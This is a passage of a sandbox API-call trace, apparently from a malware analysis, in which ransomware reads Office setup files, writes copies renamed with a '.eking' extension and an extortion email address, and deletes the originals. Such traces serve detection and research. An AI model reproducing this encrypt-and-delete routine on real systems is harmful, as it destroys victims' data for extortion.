Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0276.898] SetEvent (hEvent=0xe0) returned 1 [0276.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0276.899] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1852) returned 1 [0276.899] CloseHandle (hObject=0x1b4) returned 1 [0276.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0276.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0276.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0276.899] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.899] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4 [0276.900] ReadFile (in: hFile=0x1b4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x73c, lpOverlapped=0x0) returned 1 [0276.902] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x740, lpOverlapped=0x0) returned 1 [0276.903] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.903] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.903] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.903] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x73c, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x73c, lpOverlapped=0x0) returned 1 [0276.903] FlushFileBuffers (hFile=0x1b4) returned 1 [0276.909] FlushFileBuffers (hFile=0x1a4) returned 1 [0276.911] CloseHandle (hObject=0x1b4) returned 1 [0276.912] CloseHandle (hObject=0x1a4) returned 1 [0276.912] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0276.914] SetEvent (hEvent=0xe0) returned 1 [0276.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0276.914] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=571320) returned 1 [0276.914] CloseHandle (hObject=0x1a4) returned 1 [0276.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 0x20 [0276.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 0x20 [0276.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0276.915] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.915] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0276.915] ReadFile (in: hFile=0x1a4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x8b7b8, lpOverlapped=0x0) returned 1 [0276.926] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x8b7c0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x8b7c0, lpOverlapped=0x0) returned 1 [0276.936] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.936] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.936] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.936] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x8b7b8, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x8b7b8, lpOverlapped=0x0) returned 1 [0276.938] FlushFileBuffers (hFile=0x1a4) returned 1 [0276.943] FlushFileBuffers (hFile=0x1b4) returned 1 [0276.946] CloseHandle (hObject=0x1a4) returned 1 [0276.947] CloseHandle (hObject=0x1b4) returned 1 [0276.947] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 1 [0276.954] SetEvent (hEvent=0xe0) returned 1 [0276.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0276.957] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=15224) returned 1 [0276.957] CloseHandle (hObject=0x1b4) returned 1 [0276.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 0x20 [0276.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 0x20 [0276.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0276.958] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.958] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4 [0276.958] ReadFile (in: hFile=0x1b4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x3b78, lpOverlapped=0x0) returned 1 [0276.960] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x3b80, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x3b80, lpOverlapped=0x0) returned 1 [0276.962] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.962] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.962] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.962] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x3b78, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x3b78, lpOverlapped=0x0) returned 1 [0276.962] FlushFileBuffers (hFile=0x1b4) returned 1 [0276.966] FlushFileBuffers (hFile=0x1a4) returned 1 [0276.968] CloseHandle (hObject=0x1b4) returned 1 [0276.969] CloseHandle (hObject=0x1a4) returned 1 [0276.969] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 1 [0276.971] SetEvent (hEvent=0xe0) returned 1 [0276.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0276.971] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=596341) returned 1 [0276.971] CloseHandle (hObject=0x1a4) returned 1 [0276.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0276.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0276.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0276.972] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.972] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0276.973] ReadFile (in: hFile=0x1a4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x91975, lpOverlapped=0x0) returned 1 [0277.007] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x91980, lpOverlapped=0x0) returned 1 [0277.020] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0277.021] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0277.021] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0277.021] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x91975, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x91975, lpOverlapped=0x0) returned 1 [0277.023] FlushFileBuffers (hFile=0x1a4) returned 1 [0277.031] FlushFileBuffers (hFile=0x1b4) returned 1 [0277.035] CloseHandle (hObject=0x1a4) returned 1 [0277.036] CloseHandle (hObject=0x1b4) returned 1 [0277.037] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0277.044] SetEvent (hEvent=0xe0) returned 1 [0277.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0277.045] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=71236) returned 1 [0277.045] CloseHandle (hObject=0x1b4) returned 1 [0277.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0277.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0277.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0277.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0277.046] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0277.046] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0277.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4 [0277.046] ReadFile (in: hFile=0x1b4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x11644, lpOverlapped=0x0) returned 1 [0277.178] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x11650, lpOverlapped=0x0) returned 1 [0277.180] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xe2, lpOverlapped=0x0) returned 1 [0277.180] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0277.180] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0277.180] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x11644, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x11644, lpOverlapped=0x0) returned 1 [0277.181] FlushFileBuffers (hFile=0x1b4) returned 1 [0277.329] FlushFileBuffers (hFile=0x1a4) returned 1 [0277.338] CloseHandle (hObject=0x1b4) returned 1 [0277.338] CloseHandle (hObject=0x1a4) returned 1 [0277.338] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0277.340] SetEvent (hEvent=0xe0) returned 1 [0277.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0277.341] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=819) returned 1 [0277.341] CloseHandle (hObject=0x1a4) returned 1 [0277.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0277.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0277.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0277.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0277.341] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0277.341] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0277.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0277.342] ReadFile (in: hFile=0x1a4, lpBuffer=0x3250020, 